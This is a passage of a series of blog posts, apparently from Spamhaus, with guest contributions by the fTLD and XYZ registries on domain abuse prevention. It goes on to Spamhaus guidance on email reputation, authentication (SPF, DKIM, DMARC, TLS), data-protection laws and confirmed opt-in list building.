We will never reach a utopia where every individual with an internet connection questions every link they click on and checks every website they view for authenticity. Here, fTLD, the registry for .bank and .insurance top-level domains (TLDs), provides their view of how a TLD can make it simple for users to trust their interactions with websites. Badness and domains A near entirety of internet cybersecurity threats stem from the simple problem of authentication (i.e., knowing definitively who or what you’re interacting with). Malware, ransomware, business-email-compromise, breaches, identity theft, and financial fraud most commonly originate from interactions with phishing emails or spoofed websites from bad actors pretending to be someone they’re not. The cyber-savviness gamble The overwhelming majority of the internet, banks included, operates within open, unrestricted TLDs (e.g., .co, .com, .net), where for just $10-$15, anyone can get any domain for any purpose. We’re forced to rely on the cyber-savviness, investigative ability, and persistence of end-users to keep all of us safe. Despite decades of education around cybersecurity hygiene (i.e., best practices for staying safe online), the simultaneous rampant growth of these cyber-attacks indicates a new approach to cybersecurity is long overdue. We need to address the balance While there is a near-constant flow of innovation attempting to solve this challenge for businesses that need to authenticate their customers, there hasn’t been the same progress in the other direction, i.e., making it easy for customers, employees, and vendors to definitively authenticate their interactions with organizations. We need a new way to prevent the singular ‘bad clicks’ exposing organizations and individuals to cyberattacks and fraud. The process of identifying these attacks within open, unrestricted TLDs is a moving target as bad actors continually increase the sophistication and frequency of their attacks, making it too complex to keep everyone continuously prepared and vigilant. In such an environment, it’s not surprising that users are unable to consistently do all that is necessary to verify who they’re engaged with online. Let’s KISS (Keep it Simple & Safe) It’s time for a new process, one simple enough to become a permanent part of everyone’s cybersecurity hygiene. Interestingly a big part of the answer was implemented when the first six TLDs were established in .com, .net, .org, .edu, .gov and .mil. The .edu, .gov, and .mil domains have restrictions on who can get and use domains, making it crystal clear to visitors of these domains that they are interacting with schools, government bodies, or the U.S. Department of Defense. In 2015, a similar approach was taken when the banking industry, via fTLD Registry Services, created the .bank TLD to protect banks. This domain is restricted to verified banks and their associations, which ensures that seeing “.bank” at the end of an email address or website URL means you are interacting with a bank (or bank association). And there’s more…. The banking industry, responsible for the governance of .bank, decided to take their cybersecurity a step further and developed Security Requirements that banks must comply with to use their .bank domains. These continuously monitored Security Requirements add multiple layers of cybersecurity, but perhaps most importantly, through the email authentication requirement, they ensure that emails sent from .bank domains are associated with the relevant bank and are not a phishing attack from a bad actor. fTLD’s verification and authentication process for .bank, which restricts the domain to banks (and their associations), combined with its Security Requirements, enables website visitors and email recipients to easily and immediately authenticate their interactions with their bank(s). Notably, the simplicity of “looking for the ‘.bank’” to prevent those singular ‘bad clicks’ is easy enough to become a permanent part of everyone’s cybersecurity hygiene. What makes .bank the Fort Knox of TLDs? Registering a .bank domain All organizations must first complete fTLD’s verification process to register a .bank domain. This begins with a Verification Application to ensure they are an eligible bank or association and that the domain name(s) requested correspond to their legal name or branding (e.g., trademark, trade name, service mark). Eligible registrants are then sent digital registration tokens to use with Approved Registrars to purchase their domains. Verifications are performed before domains are awarded and annually thereafter. fTLD also verifies any material changes to registration data (i.e., Registrant Organization, Registrant Name, and Registrant Email) to ensure ongoing compliance and security. fTLD Registrars fTLD works with 36 ICANN-accredited registrars who must also meet fTLD cybersecurity requirements, including those in the fTLD Operations Pledge.pdf), in order to offer their services and support to .bank registrants. fTLD Approved Registrars. fTLD’s history and handling of abuse reports In fTLD’s near seven-year history, there have been only nine alleged reports of abuse and every one was ultimately confirmed as a false positive by the relevant reputation blocklist (RBL) provider. fTLD’s handling of allegations of abuse is based upon four pillars: verification, investigation, remediation, and follow-up, and is initiated upon the receipt of an RBL abuse report or one provided via email directly to fTLD. fTLD having never had a confirmed case of abuse is a testament to our Security Requirements and the fact that we verify our registrants through our thorough verification process. What would fTLD like to see other registries and registrars doing to reduce abuse? It’s proven that TLDs with strong registration restrictions and registrant verification processes have few incidences of abuse because bad actors cannot register lookalike domains to perpetrate fraud. We hope and expect to see more highly regulated industries follow fTLD’s model to protect their organizations and customers in the years to come. fTLD also operates the .INSURANCE domain in an identical manner to provide the same enhanced cybersecurity for insurance providers and distributors.

XYZ's best practice on new domains and email deliverability

The XYZ team — Wed, 16 Mar 2022 13:00:50 GMT

There are many products and services on the market that make it incredibly easy to buy a new domain name and set up a website and custom email address for business or personal use. However, we don’t see many easy-to-reference resources helping you understand the proper processes and procedures when sending email using a newly acquired domain name. So here are some key considerations from the XYZ team: The enigma of email deliverability Email deliverability is a complex subject, and it can be difficult – even for professionals – to diagnose an issue. Spamhaus has even listed Change.org, an organization that sends billions of emails a month. No one is bulletproof. If you don’t follow best practices for sending, you will run into trouble. A word from Spamhaus*…In the case of Change.org, they looked at the listing as an opportunity to review their sending process and procedures. On discussing email reputation, Alice Cornell, Directory of Deliverability at Change.org, said, “Building your email reputation is just as important as building your brand reputation. We spend a lot of money on our brand reputation,” and she questioned, “Why would we not take that same amount of care with our domains and our IPs?” Reality vs. Myth There is a lot of misinformation about the cause of deliverability issues – including confusion around using new domain endings. The reality is that spam filters are highly-tuned to identify unwanted email – and it isn’t related to your domain ending (otherwise known as a top-level domain.) However, it is related to your email reputation. A freshly registered domain means handling email with care Another word from Spamhaus…*The reason for this is that the expected behavior of a legitimate new domain owner isn’t to send out bulk email having just registered it. Conversely, cybercriminals “burn” through domains. They register a domain (in any TLD), immediately use it, and as soon as it’s listed or flagged as malicious, it’s cast aside. Spamhaus has a whole blocklist dedicated to domains listed within the past 24 hours. One thing many people do not know is that for the first 30 days after initial registration, most spam protection companies will flag a newly registered domain (in any TLD). The flag simply means the domain is under heightened scrutiny, and it is watched for spammy activities, which include immediately sending mass emails. Prepare your domain During these early days after registration, it is ill-advised to send marketing emails that could be interpreted as spam. For this reason, it can be a good idea to register a domain while in the planning stages of your business. In fact, affordable domain pricing can enable anyone to register multiple ideas while they are still in the process of finalizing their decision. Once a business plan has been finalized, the domain’s age(s) will have surpassed the watchlist period. The domain owner should be “warming up” the email domain by regularly sending small amounts of emails to people who expect to be emailed. It is imperative not to start sending unexpected messages in bulk or other harmful things that spammers do. With email best practices in mind, it’s important to understand what constitutes spam. Essentially, spam pertains to all email that is sent without the recipient’s permission or consent. Spamhaus features a comprehensive set of articles on best emailing practices and “how not to do what spammers do.” This includes taking necessary precautions such as: Authenticating email with SPF, DKIM, and DMARC records. Not bulk-sending email within a short period of time with a newly created email address and/or domain. Ensuring you have provided an obvious way for customers to unsubscribe. Having good data hygiene and keeping your mailing lists are clean. Websites can build trust Another tip to improve your online presence, which can help your email deliverability, is to make sure to set up your website early and provide an accessible method to contact you. It can even help to have a simple landing page and internal email before your entire website or business is ready to launch. Be sure to interact with your community and be mindful of your brand quality and web presence. These practices are vital components in setting yourself apart from spammers and developing a good reputation for your domain name. XYZ’s approach to abused domains XYZ takes abuse very seriously and has a stringent anti-abuse policy. Not only do our abuse efforts help make the internet a safer place, but they also protect the reputation of our end users. We partner with various cybersecurity partners such as Spamhaus to help us confirm abusive domains. Each flagged domain is scanned by our internal tool and checked against our sophisticated software for evidence of abuse. Once a flagged domain is confirmed by our Anti-Abuse Team to be abusive, it is then immediately suspended, and the registrar is notified. What to do if your domain is listed or flagged If a domain owner believes Spamhaus has wrongly listed their domain, they can use the IP & Domain Reputation Checker for more information on the listing and as a means to contact Spamhaus for removal. If they believe their domain has been wrongly suspended by the XYZ Anti-Abuse Team, they can request an unsuspension review at gen.xyz/unsuspend. We all have a role in fighting abuse It’s our belief that we all need to work together to end online abusive practices while championing growth and innovation. Cybersecurity companies do their best to detect abuse in their areas of expertise. Junk mail filters are responsible for detecting and filtering out content that is detected as spam. Each of these measures can accomplish even more by reporting abuse to registrars, hosting companies, and registries, the organizations that have the means and the policies to take the abuse offline. XYZ gains no revenue in taking action. We do so because it is the right thing to do. Putting an end to online abuse and making the internet a safer place requires active participation and teamwork from all domain industry organizations. We take on the responsibility to look after our users and treat them with respect.

XYZ discusses industry collaboration to ban bad actors

The XYZ team — Thu, 10 Mar 2022 14:32:16 GMT

In part two of our Registries Series, we’re still in discussion with XYZ. Previously in Getting the low-down from XYZ on combating domain abuse, we talked about the what, why, and how of domain abuse. However, when XYZ was chatting about domain suspensions, they mentioned how anonymizing registrant details was an added challenge. The redaction of domain ownership information, as a result of various privacy legislation, including GDPR, causes Spamhaus significant headaches at times, so we’re interested to hear why it’s an issue for Registries and what they’re proposing to readdress the balance between those wanting to abuse the internet and those wanting to protect it. Over to you XYZ… XYZ: We left off our discussion talking about domain suspensions. However, for most registries, the reality of anti-abuse action on the domain name side is that the isolated action of shutting down a domain isn’t the most effective method of stopping cybercriminal activity. There needs to be collaboration across multiple areas. Spamhaus: Can you explain why you feel this way? XYZ: Firstly, it’s important to understand that a domain name is purely an address. An abusive website or file is uploaded to a hosting company, and an abusive domain user is the customer of a registrar. When a registry suspends a domain used as an address to an abusive website or file, an abusive user can simply find another address to use. This is why abuse is not domain extension-specific. The abusive user can connect their malicious files to another domain extension to facilitate the abuse again in a matter of minutes. Secondly, registries like XYZ have no direct contact with registrants. Their only course of action is to suspend the domain and notify the registrar. This doesn’t stop the bad actor; it just redirects them to other domain extensions. For these reasons, XYZ strongly believes that the registry, registrar, and cybersecurity organizations should work together. Spamhaus: How do you think these relationships should interact in a perfect world? XYZ:If all parties act in harmony, we can help break the cycle of abuse and more effectively prevent cybercriminal activity. When the XYZ Registry receives evidence of abuse from cybersecurity experts, we verify and suspend the domain and then notify the relevant registrar of their customer’s suspension. The registrar can prevent the abusive customer from registering further domains. It is the least effective method to start at the registry level since that is not the source of the malicious file or user. Still, the XYZ Registry is very active and successful in doing what we can to slow down bad actors and move them off .xyz. Spamhaus: What do you think can be done to help this cross-section of the industry work more effectively together? XYZ:An important aspect of rapid abuse control is being able to identify a group of domains registered by the same bad actor, so all domains under their control can be investigated. One of the most apparent innovations would be greater visibility into this association. At this time, only a registrar can determine what other domains an abusive user has in their account. At the registry level, we can use the time of registration to associate multiple registrations occurring at the same registrar; however, this is not a silver bullet. With a domain as popular as .xyz, there are many instances of domains registered with the same timestamp by multiple legitimate registrants. To avoid false positives, we can only use this methodology to monitor closely. An innovation in associating domains, users, and accounts used for abuse while maintaining data privacy, could help organizations better track the movement of bad actors across platforms and services. Spamhaus: We strongly support this idea. From our perspective, one of the often-overlooked uses of the data that “Whois” published is “correlation,” not “identification.” Bad actors often use stolen or fake identities. While the actual information from the records won’t always lead to a real-world attribution, it does enable our researchers to make important associations. Meanwhile, legitimate domain owners suffer due to this data redaction – it is increasingly hard to determine if a newly registered domain belongs to a known entity with a good reputation. A cross-platform method of information association wouldn’t solve all the issues introduced by ownership redaction. Still, we feel that it would undoubtedly go a long way towards improving the situation for both malicious and legitimate domains. The next question must be, who can make this happen? Perhaps one for ICANN? Next in our series, XYZ dives into the world of newly registered domains and email.

Getting the low-down from XYZ Registry on combating domain abuse

The XYZ team — Thu, 03 Mar 2022 16:55:38 GMT

Protecting the internet and making it a safer place to operate is everyone’s responsibility. Spamhaus works with a broad spectrum of organizations across the industry to ensure this happens, including registries. We’ve been reaching out to registries for their views and opinions on combating internet abuse for this blog post series. Recently we had an in-depth conversation with XYZ on their approach to domain abuse.Before diving into that interview, let’s define “domain abuse” from Spamhaus’ perspective. For this, I’ll defer to our domain guru, Carel Bitter: “We usually see domain name abuse as using one or more domain names to enable abusive, fraudulent, or malicious activity. The domain names are often a crucial link in the chain, as many of these activities would not work anymore once the domains involved are not functioning anymore. So, taking action on a domain name breaks the malicious activity.” Now, without further ado, here’s what XYZ had to say on the matter… Spamhaus: Why is it important for XYZ to invest in anti-spam and other anti-abuse measures? XYZ: It’s crucial for us to protect the .xyz namespace for all of its legitimate users. Individuals such as NFL Super Bowl champion turned motivational speaker MarquesColston.xyz and businesses like Square parent company Block .xyz place their trust and online presence in .xyz, and it’s imperative that our top-level domain (TLD) remains as free as possible from abuse. This is why the XYZ Anti-Abuse team prioritizes combating abuse – we value our community. Spamhaus: What does XYZ consider to be domain abuse? XYZ: XYZ’s Anti-Abuse Policy prohibits technical abuse of the DNS – including the following activities: Spam Phishing Distribution of Malware BotNets SMS Phishing Illegal activities The XYZ Anti-Abuse Policy extends beyond what is required by ICANN, the nonprofit organization that focuses on ensuring a stable, secure, and unified global Internet. XYZ suspends abuse found when monitoring, and spam is included as a violation of our anti-abuse policy, as it is a significant area of concern. Spamhaus: We’re pleased to see you include spam in your policy. Why do you feel it important to do so? XYZ: Spam is widely used as a gateway to proliferate links to technical abuse of the DNS, like malware and phishing. Spam campaigns can send up a substantial flare, more easily noticed by cybersecurity platforms. This is one of the reasons why we deeply encourage spam protection services. By keeping our namespace safe and secure, .xyz and all XYZ zones are rated as safe zones throughout the internet, and this is very important to us. We have seen some networks take extreme measures in the form of blanket blocking certain TLDs due to a network admin seeing a spam campaign in a namespace. We do not think that is a safe best practice, and it is not recommended. Due to our proactive measures in preventing spam from proliferating, we hope our domain extensions do not show up on any of those radars. If they do, we encourage reporting abuse directly to the registry so we can take action! Spamhaus: We agree with you regarding blanket-blocking. The domain space is a very dynamic one. And as such, it’s hard to predict where the next big domain, the next hot start-up, may choose its name. While it may seem like a quick win to dismiss an entire TLD, you will undoubtedly target things you don’t want to. Meanwhile, the miscreants you were originally targeting have switched to a different TLD. While we’re on the topic of “targeting miscreants,” it’s evident that .xyz has an ever-increasing community of legitimate websites. Often, with increased domain numbers comes increased exposure to abuse. However, in the latest Botnet Report, .xyz saw a 52% reduction in the number of domain registrations used for botnet command & controllers (C&Cs), which is really positive. What is XYZ doing to prevent abuse before it happens? XYZ: There are various actions that we take, including those noted below. Deterring cybercriminal activity: XYZ is very public about the fact that our Anti-Abuse team is rapid and rigorous in its approach to takedowns. In being so open about our stance, we deter users with malicious intentions. Registration monitoring: We work to identify patterns in registrations to observe any “blocks” of domains registered at once, to measure the likelihood of abuse, as well as commonly abused naming patterns. Registrar warnings: Since XYZ does not have direct access to domain customers, we alert our registrar partners daily if any .xyz domains under their management are being abused. We request that registrars identify and ban the bad actors. Spamhaus: Having worked with XYZ for many years, we know you’re quick to act on confirmed abuse reports. Aside from using these, what tools and processes have you available to keep on top of abuse? XYZ: We have developed sophisticated abuse monitoring software which allows us to proactively monitor, detect in near real time, and actively intervene when any of the aforementioned activities are detected. XYZ has also established an abuse feedback system that allows individuals to report abuse 24/7. When individuals or independent researchers report .xyz abuse directly to the registry, XYZ can quickly investigate and suspend domain names in violation of our Anti-Abuse Policies. As you’ve mentioned, we’ve developed strong partnerships with Spamhaus, as well as many other cybersecurity providers. This effort helps us identify and eliminate the bad apples from the many good ones that we have in our namespace. Spamhaus: OK – so you’ve identified an abusive domain, what actions do you take? XYZ:We immediately shut down the domain and notify the sponsoring registrar so they can further investigate, identify the registrant’s additional assets, and shut down or ban the customer if necessary. However, we don’t have any of the registrant’s details, so other than suspending the domain, the rest of the work lies with the registrars. This is a challenge for cybersecurity in general… For now, let’s leave this here, and you can go and refill your coffee! In our next blog post, we’ll pick up with XYZ to learn more about the challenge of not knowing the full scope of a bad actor’s domains, alongside hearing some of their thoughts on how this issue can be resolved.

How do you ensure email deliverability?

The Spamhaus Team — Tue, 15 Feb 2022 12:12:52 GMT

There is no shortcut to successful email deliverability. No matter what services you see advertised in the marketplace, offering that “special deliverability elixir’… don’t be scammed. In a nutshell, you need to consistently send correctly authenticated, carefully targeted emails to an engaged audience. Meticulously adhering to email best practices will lead to excellent IP address and domain reputation, and consequently, excellent email reputation. Consider this to be your ultimate goal. Marketers should repeat this as a mantra: “Excellent reputation is key to successful email delivery.” What is email reputation? The definition of reputation is “The general opinion or judgment of the public about a person or thing.” In email, reputation is a shorthand way of saying, “how recipients reacted to mail you’ve sent in the past predicts how they will react to mail you send in the future.” Good reputation means that recipients like your mail. Many email filters use “reputation” as one piece of their decision-making process. Top 8 ways to improve your email reputation Authentication and encryption – this includes ensuring your emails have Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting, and Conformance (DMARC) correctly set up. These protocols help receivers “trust” your emails. Engagement – Ensuring recipients want the email you send them. Not doing what spammers do – sounds obvious, but make sure that you’re not setting up or sending bulk email in the way a spammer would send it. Address acquisition and data hygiene – use confirmed opt-in and keep those mailing lists clean. DON’T PURCHASE EMAIL LISTS – consent is not transferable. Frequency and predictability – find the sweet spot for how often you send email, set the expectation for frequency, stick to it, and ensure those receiving your emails engage with the content. Complaint management – monitor email campaigns carefully, make it exceptionally easy for recipients to opt out, and honor unsubscribe requests immediately. Spamtraps – hitting a spamtrap is a sign of poor data hygiene or issues with your marketing sign-up process. Put your efforts into fixing the data collection, retention, and hygiene problem, and not into trying to locate the spamtrap. Bounce handling – careful management of hard and soft bounces helps improve your email reputation. We’ll be taking a deep dive into each of these areas through this guide, arming you with the knowledge to pave your way to successful email delivery, starting off with a look at how email reputation works.

How does email reputation work?

The Spamhaus Team — Tue, 15 Feb 2022 12:11:56 GMT

“You can’t buy a good reputation; you must earn it.” These are wise words indeed from the American businessman Harvey Mackay. Whether it’s personal, business or email, reputation must be earned. Here’s a look at why reputation matters when it comes to email and what you need to be doing to improve it. A little bit of email reputation history Since reputation systems became the de-facto method of spam filtering in about 2010, the focus was mainly on IP reputation, with domain reputation lagging. However, this has changed significantly in the last few years; IP reputation is less important than the reputation of domains and content for inbox placement. One of the reasons IP reputation is falling behind is the advent of IPv6. It’s HUGE. It has 340,282,366,920,938,463,463,374,607,431,768,211,456 IP addresses available; enough IP addresses for every single device in the world to have its own, and there would still be IPs left over. This glut of IPs means that cybercriminals can afford to burn IPs like paper (and they do), and therefore we cannot solely rely on blocking by IP to protect users. IPv4 is still the default for email, but it’s running out very quickly, and spam filters need to be ahead of the game. Today’s email reputation reality In the modern email ecosystem, IP/domain reputation and recipient engagement are the elements that drive email reputation. The days of “whitelisting” are long gone; we are unaware of any ISP that offers allowlisting in any form today. Reputation systems are designed to automate spam filtering and enable ISPs to react to reputational changes in a rapid and agile manner. Another point to note is that they are agnostic: They do not care about business models. They do care about end-user engagement. They do care whether or not mail is authenticated correctly. What affects email reputation? Reputation is composed of an unknown number of variables that ISPs or reputation providers like Spamhaus do not reveal. But some general components are known, and you can manage them with appropriate address acquisition and data hygiene. Spamtrap hits** – A spam trap is an email address traditionally used to expose illegitimate senders who add email addresses to their lists without permission. Still, spamtraps are also very effective in identifying email marketers with poor data collection and list management practices. Find out more. Complaint volumes** – Monitoring complaints is an essential part of the reputational pie, so keeping them as low as possible should be every marketer’s goal. To do this, you must consider several things. Find out more. Engagement metrics* – Engagement is useful for measuring how a marketing program is performing, and has typically been measured by recording clicks, opens\, and purchases. Find out more. Management of* *bounces/invalid addresses** – Bounce management needs to be handled quickly to ensure that you are taking the necessary actions to ensure your mailing list is clean. Find out more. Consistent mail stream volumes**. Some ISPs are more reactive to this than others. ISPs are far more concerned about botnet spam than marketing mail. Sudden changes in mail volume are typical of infected hosts, and ISPs react accordingly. “Bursty” email streams will degrade even well-established reputation with the major freemail ISPs. Find out more. What drives inbox placement? Today, inbox placement is dynamic and almost entirely dependent on IP/domain reputation, which is re-calculated exceptionally quickly in response to end-user reactions and thousands of other heuristics, so the way an email stream is treated can change by the moment. Spam-folder placement is also driven by reputation and user-defined mailbox preferences. Preparing for the launch of a new IP or domain Reputation is established during the IP or domain warmup/ramp-up phase – this makes the preparation for the warmup process critical. It is very much like going on a first date: first impressions matter a great deal and linger for a long time. Plan & select: To prepare for the launch of a new IP or domain, you need to plan the deployment, carefully selecting a set of highly engaged recipients for the initial mailings. These should then be sent in a thoughtful and measured fashion until you reach production volume. Continual improvement: This is a crucial period during which every iteration needs to be meticulously studied, adjustments made, and issues corrected – no matter how painful those corrections may be, i.e., how many potential recipients you need to remove from your segmentation. Increasing rates of volume and speed should depend on the results of each previous deployment. This means that today’s email marketers should be focusing on engagement as much (or more!) than on IP reputation. The days of ‘”batch and blast” are over, but the good news is that the more engagement an email receives, the better deliverability gets, and this has a positive knock-on effect on a sender’s ROI.It is not instant and can be very frustrating, but it is worth it. Critical learning when it comes to email reputation It is much, much easier to drive reputation down than it is to fix a damaged one – this behavior was created by design, and there is no override! Don’t try and short-cut building good reputation; otherwise, you’ll be spending a lot of time, effort, and potentially money rebuilding it. Next in our series, we’ll be looking at the legalities around address acquisition! \* In the advent of Apple’s Email Privacy Protection, measuring “clicks” is now a less accurate measurement to rely on.

Address acquisition – know the legalities around personally identifiable information

The Spamhaus Team — Tue, 15 Feb 2022 12:10:22 GMT

Here’s a quick review of the legalities involved with collecting Personally Identifiable Information (PII). At one time, having solid records of informed consent to send commercial email to people was not required by law. However, in many cases, it is now. There are email and data protection regulations across at least 77 different countries, and they are all different. We strongly recommend consulting legal counsel before undertaking any data collection.The following four data protection laws are the best known at this time. CAN-SPAM, United States Marketers MUST comply with this federal regulation to legally send marketing email: violators can and have been successfully sued by the FTC. For more information about CAN-SPAM, see these links: US Federal Law CAN-SPAM The legal text of CAN-SPAM Canada’s Anti-Spam Legislation (CASL), Canada See the CASL Guide for more information or read the text of the law. Senders MUST comply with CASL if you send email to: a Canadian domain a Canadian user or is transmitted through Canada General Data Protection Regulation (GDPR), Europe The General Data Protection Regulation 2016/679 is a regulation in EU law regarding data protection and privacy for all individual citizens of the European Union and the European Economic Area. It also addresses the transfer of personal data outside the EU and EEA areas. Enacted on May 25, 2018, it is a very complex regulation; violations of this regulation can carry some severe fines. When building an email marketing campaign involving anyone residing in the EU, you should always consider it. For more information, please consult: Qualified legal counsel. The Wikipedia article about GDPR. The EU legal lexicon. The California Consumer Privacy Act (CCPA) This was enacted in 2018 and took effect on January 1, 2020, and applied to Californian consumers. This legislation gives CA consumers the following rights: The right to know what personal information is collected, used, shared, or sold, both as to the categories and specific pieces of personal information; The right to delete personal information held by businesses and by extension, a business’s service provider; The right to opt-out of the sale of personal information. Consumers are able to direct a business that sells personal information to stop selling that information. Children under the age of 16 must provide opt-in consent, with a parent or guardian consenting for children under 13. The right to non-discrimination in terms of price or service when a consumer exercises a privacy right under CCPA. For more in-depth information please visit State of California – Department of Justice – Office of the Attorney General. The final word on laws around PII: CONSULT A QUALIFIED LAWYER. Now it’s time to take a look at how to set up and configure your email program, starting with the necessary steps to take to avoid looking like a spammer!

How to avoid looking like a spammer when setting up marketing emails

The Spamhaus Team — Tue, 15 Feb 2022 12:09:57 GMT

In the world of sending email and spam filtering, intentions matter far less than behavior. The spammers set the bar. Even if you are sending authenticated, confirmed opt-in (COI) email, if your email program does not at least meet the basics, no spam filter will understand the difference. Legitimate mailers work hard to build brand reputation based on a real business address, a known domain, and a small, permanent, well-identified range of sending IPs. What steps to take to ensure you look legitimate It is critical to follow best practices to distinguish yourself from miscreants who spam. Always keep the following in mind: Authentication:** All emails should be correctly authenticated with DKIM & SPF at a minimum. The SPF record should be as narrow and specific as possible. If you designate the entire internet as “permitted sender,” this is not useful and opens the domain to abuse by spammers. Whois:** Do not use anonymized or unidentifiable Whois records. Legitimate businesses should have no reason to hide their online identity using WhoisGuard or other such privacy services. Since the advent of GDPR in 2018, many registrars have defaulted to publishing anonymized Whois records, but most will remove it upon request. Limit domain usage.** With the increased number of unique domains used to send the same emails, you increase the number of flags raised; use the primary business domain – or a subdomain of it – whenever possible. Use clear and consistent naming schemes in DNS** – keep it simple. The best option is delegating a subdomain of the brand’s primary domain to the email service provider (ESP): e.g., email.customerbrand.com. The second best would be: “customerbrand.espdomain.com” Last resort (and to be avoided if at all possible): customerbrand-email.com. If this is necessary, it is crucial to use a cousin domain that clearly relatesto the primary brand name. Phishing has made people very wary of look-alikes. Having a clear brand relationship allows receivers to easily distinguish the Email Service Provider (ESP) and customer and reduces the chances of blocks or reputation damage due to unclear identification. Use properly registered domains with working mail AND web addresses.** There should be a website for every domain/brand email domain address used, and not having one looks shady. This is something that spammers do all the time. Link and tracking domains should have a redirect to the primary business website. Every domain that sends email should have functional abuse@ & postmaster@ addresses.** Use contiguous IPs if possible.** Use the same network. If not possible, do not use more IPs than needed. Most brands do not need 100s of IPs scattered across multiple networks – this is the definition of snowshoeing [insert a link to snowshoe FAQ]. ESPs: Publish an Acceptable Use Policy (AUP)/Terms Of Service (TOS) that is easy to find, read, and* *enforce.** Now we’ve explained how not to appear like someone who’s sending spam we’ll be looking at what authentication and encryption are necessary to set up for marketing emails. .

Authentication and encryption for email

The Spamhaus Team — Tue, 15 Feb 2022 12:08:54 GMT

One of the first steps to ensuring good domain/IP reputation and consequently successful email deliverability is authentication and encryption. WARNING…This is going to get a little technical for some marketers reading this. Our advice is that if you don’t have a deliverability team to lean on, work together with your IT team to check and ensure your authentication is appropriately set up. Why are authentication and encryption necessary? Correctly deployed authentication allows an email receiver to verify that an email’s sender is whom they say they are. Why is this necessary? Everything in an email header except the IP address that connects to the recipient’s server can be forged. Authentication makes it possible for an email receiver to increase their trust in the domains used in headers and the “Friendly-From’ field. The “Friendly From” name and address are user-defined fields that identify the sender to the recipient and are visible in an email client, i.e., what the end-user sees. If you’d like to take a deeper dive into understanding the various elements of an email header, read “Understanding the source code of a malicious email.” An overview of key authentication and encryption to set up for email Here are the critical factors associated with email authentication and encryption: Sender Policy Framework (SPF)** – allows a sender to specify to a receiver where mail should be coming from. You can use Single IPs, IP ranges, or hostnames. DomainKeys Identified Mail (DKIM)** – uses a cryptographic signature to verify that the sender has permission to use the domain in the “from” field and that the content hasn’t been tampered with. Domain-based Message Authentication, Reporting, and Conformance (DMARC)** – tells the recipient what to do with unauthenticated mail. Transport Layer Security (TLS)** – encrypts the transmission phase of sending email. SPF and DKIM authentication protocols should be considered a must – and are required in any modern email marketing infrastructure. The lack of SPF and DKIM authentication will damage reputation and affect deliverability and inbox placement. DMARC uses SPF and DKIM protocols and is rapidly increasing in importance, particularly within the financial industry. SPF SPF allows the authoritative owner of a given domain to specify to a receiver which networks or ISPs are authorized to send mail using that domain as a ‘from’ address. Single IPs, IP ranges, or hostnames can be used. An SPF TXT record should be as narrow as possible for the greatest security. This TXT record lives in the DNS zone file for the sending domain. DKIM DKIM uses a cryptographic signature of a designated portion of the email header and the email body. It validates the authority of the sending domain. It validates that designated headers and content have not been modified in transit. It makes use of a public/private key pair. It has become a crucial part of deliverability, and you should never send email without it. Failure to include a valid DKIM signature will negatively affect deliverability and inbox placement at many ISPs. DMARC DMARC is an authentication policy published through a short entry in DNS. It enables senders to specify to receivers how to respond when email fails SPF or DKIM checks. It allows senders to request aggregated and anonymized reports from recipients regarding unauthenticated email that claims to be from their domains. It creates a way for ISPs to supply this data in a standardized format. In turn, this allows domain owners to monitor possible spoofing of their domains, which is especially useful for commonly abused businesses such as banks, online payment systems, various social media, etc. It does not allow senders to bypass spam filters. Some ISPs consider whether or not DMARC “passes” in their filtering decisions. For DMARC to pass, there must be alignment. In DMARC alignment: a message must pass ‘SPF authentication’ and ‘SPF alignment’ and/or ‘DKIM authentication’ and ‘DKIM alignment.’ DKIM alignment: ‘d=’ must match FRIENDLY FROM SPF alignment: RETURN-PATH must match the FRIENDLY FROM domain TLS TLS is an encryption method used to encrypt the communication channel between two computers. It is the successor to Secure Sockets Layer (SSL), and the two terms are often used interchangeably. SSL/TLS are widely used to encrypt connections over the internet. For example, whenever a lock appears in the browser bar, the browser encrypts communication between you and the website you are connected to. TLS can be used to encrypt email during the transmission stages. Some recipients require it and refuse mail that is not TLS encrypted, but that is not very common (yet). Many MTAs have the option to request TLS if it is available and will failover to an unencrypted connection if it is not. With all the above correctly configured, you will have built the foundations for increasing your email reputation and having good inbox placement. Having taken a closer look at the world of email authentication and encryption, we’ll move onto what kind of opt-in method to choose when building your mailing lists. Further resources: Additional reading The official websites for: SPF – the Sender Policy Framework is defined in RFC 7208 DKIM – DomainKeys Identified Mail’s official website DMARC -Domain-based Message Authentication, Reporting & Conformance’s official website Wiki pagefor TLS Useful tools: Kitterman’s SPF checkertool DKIM Core Key checker DMARCvalidation tool

Confirmed opt-in or opt-out?

The Spamhaus Team — Tue, 15 Feb 2022 12:07:01 GMT

There are various methods used today for email address acquisition to build mailing lists and contact databases. Confirmed Opt-In (COI) is the gold standard. It is a simple and powerful method of building and maintaining a clean, high-quality database of marketing contacts. This, in turn, will help build and maintain your email program’s reputation and subsequently ensure and maintain good deliverability. 1. Confirmed Opt-In / Double Opt-in Here is an outline of the process for confirmed opt-in (COI): Benefits of Confirmed Opt-In While this method requires more work and investment than others, the payoff in list quality more than offsets it. It increases the integrity and reputation of the sender in the eyes of the recipient. Happy recipients are more engaged –** If you treat a recipient’s inbox and time with respect, they are less likely to report that email as spam and less likely to unsubscribe (and happy customers tend to make more purchases.) You won’t regularly hit spamtraps** – Spamtraps do not interact with email, so you significantly reduce the likelihood of poisoning a contact list with a trap. You won’t risk all your emails being blocked** – ISPs often block whole email streams that generate a lot of spam complaints or hit their traps, resulting in a loss of inbox delivery, reputation, and revenue. It makes investigations easier to resolve.** When an ISP, filter vendor or reputation provider refuses a sender’s email, they often require proof of consent as part of the investigation. You can’t provide this if you haven’t sought permission and had it granted via COI. They also can require a ‘re-permissioning’ pass and demand that you offer all your subscribers the chance to opt-out or remain subscribed and that those choices must be honored. Confirmed opt-in provides a low-risk, high ROI method of reaching contacts.** 2. Opt-in / Single opt-in This is a widely used method that involves no confirmation of consent: Issues with single opt-in While it is possible to run a successful email marketing campaign using this method, it can cause these problems: It is impossible to know if the recipient truly wants to be added to your marketing list without the recipient verifying this is the case. Increased risk of spam complaints.** If the contact didn’t realize they were subscribing to your marketing emails and suddenly started to receive them, they may mark them as spam or make a direct complaint. Hitting spamtraps* *–** if someone uses a spamtrap email address for a signup, it will poison your mailing list. Malicious submissions of spamtraps can cause tremendous difficulties, which can be very time-consuming and expensive to resolve. Potential to be listed on blocklists.** The consequences of hitting spamtraps could be a listing on a blocklist, leading to bounces for all your emails. Risk of typos, **bot submissions, or throw-away emails. Unconfirmed email addresses can be maliciously submitted. People often use throw-away, typod, expired, or imaginary email addresses to get what they want from a website without accepting more marketing emails. All of these factors can poison a mailing list since user engagement is the most 